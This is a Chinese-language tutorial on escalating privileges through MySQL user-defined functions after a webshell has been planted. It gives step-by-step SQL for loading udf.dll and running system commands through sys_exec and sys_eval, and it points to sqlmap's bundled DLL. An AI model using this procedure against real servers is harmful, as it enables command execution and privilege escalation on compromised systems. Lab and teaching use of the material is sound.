什么是udf提權?
MySQL提供了一個讓使用者自行添加新的函數的功能,這種用戶自行擴展函數的功能就叫udf。
它的提權原理也非常簡單!即是利用了root 高權限,創建帶有調用cmd的函數的udf.dll動態鏈接庫!這樣一來我們就可以利用 system權限進行提權操作了!
當我們拿到webshell后,由於中間件,例如,apache使用了較低的權限,可能僅僅是個網絡服務的權限,然后我們就需要進行提權,而有時候目標機器補丁較全,各種系統提權姿勢都失效的情況下,可以將目光轉義到數據庫服務上,在Windows下,在較低版本的mysql(<5.6)安裝時默認是系統權限。還有就是很多人圖方便,例如使用了各種集成環境,未做安全設置,直接用高權限賬戶進行站點配置,就可以考慮用UDF進行提權。
dll文件的好處?
1.擴展了應用程序的特性;
2.可以用許多種編程語言來編寫;
3.簡化了軟件項目的管理;
4.有助於節省內存;
5.有助於資源共享;
什么是udf庫?
UDF表示的是MySQL中的用戶自定義函數。這就像在DLL中編寫自己的函數並在MySQL中調用它們一樣。我們將使用“lib_mysqludf_sys_64.dll”DLL庫
不同版本的區別:
MySql < 4.1:
允許用戶將任何的DLL文件里面的函數注冊到MySql里。
MySql 4.1-5.0:
對用來注冊的DLL文件的位置進行了限制,通常我們選擇 UDF導出到系統目錄
C:/windows/system32/來跳過限制。
MySql >=5.1:
這些DLL只能被放在MySql的plugin目錄下。
0x01 提權的前提
1. 必須是root權限(主要是得創建和拋棄自定義函數)
2. secure_file_priv=(未寫路徑)
3. 將udf.dll文件上傳到MySQL的plugin目錄下(這里以MySQL>=5.1為例)
0x02 開始提權
這里以本地為例
1.我們這里上傳了一句話,然后用菜刀連接上
先判斷數據庫版本
select version();
符合MySql>=5.1的情況。
2. 查看plugin目錄名稱:
show variables like 'plugin%';
3. 查詢目錄的絕對路徑:
select @@plugin_dir;
4. 上傳phpda.php,然后訪問這個馬
5. 上傳udf.dll到 E:\phpStudy\PHPTutorial\MySQL\lib\plugin\下
注意:這里沒有plugin這個文件夾,我們必須手動創建(直接在大馬上新建就ok)
6. 我們主要利用udf.dll中的sys_exec(),sys_eval()等函數來進行命令執行
該函數將在“系統”函數內傳遞參數’args-> args [0]‘。你可以使用它在目標機器上執行系統命令。
安裝:
create function sys_exec returns string soname "udf.dll";
驗證:
select * from mysql.func where name = 'sys_exec';
然后進行命令執行
select sys_exec("whoami");
這里用sys_exec()函數好像不可以,我們換個函數
sys_eval
該函數將執行系統命令並在屏幕上通過標准輸出顯示。
安裝:
create function sys_eval returns string soname 'udf.dll';
驗證:
select * from mysql.func where name = 'sys_eval';
然后進行命令執行
select sys_eval("whoami");
成功執行
刪除:
drop function sys_eval;
ps: sqlmap下就有udf.dll文件,提取出來就行了
sqlmap里的udf.dll是經過編碼的,需要先解碼,解碼的工具就在sqlmap/extra/cloak/cloak.py
解碼完了,在sqlmap\udf\mysql\windows,32和64文件夾下會生成dll文件
0x03 結語
最后,總的來說,UDF提權就是利用MySql允許擴展自定義函數的特性,將webshell的權限變成和mysql運行權限一致,所以就有個前提,mysql得是以高權限進行運行的,至少得比中間件權限高,才有用這個方法進行提權的必要。